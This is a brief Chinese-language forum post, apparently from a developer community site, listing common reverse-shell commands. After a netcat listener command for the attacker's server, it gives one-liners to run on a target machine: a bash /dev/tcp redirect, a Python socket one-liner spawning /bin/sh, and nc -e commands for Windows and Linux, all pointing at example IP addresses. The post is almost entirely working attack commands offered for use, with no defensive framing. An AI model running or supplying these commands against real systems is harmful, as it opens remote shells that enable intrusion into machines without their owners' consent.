AI专业者开发社区 1 号成员
  •  0 回帖  •  4 浏览  •  4 个月前
 

liunx常用反弹

先在服务器监听：nc -lvvp 12345

然后在目标机器执行以下

 

liunx 客户端机器：

 bash -i >& /dev/tcp/ip/ 端口 0>&1

例：

bash -i >& /dev/tcp/120.120.120.120/12345 0>&1

 

python：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("100.100.100.100",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

nc 

nc -e cmd.exe 100.100.100.100 12345   （Windows）

nc -e /bin/bash 100.100.100.100 12345   （Linux）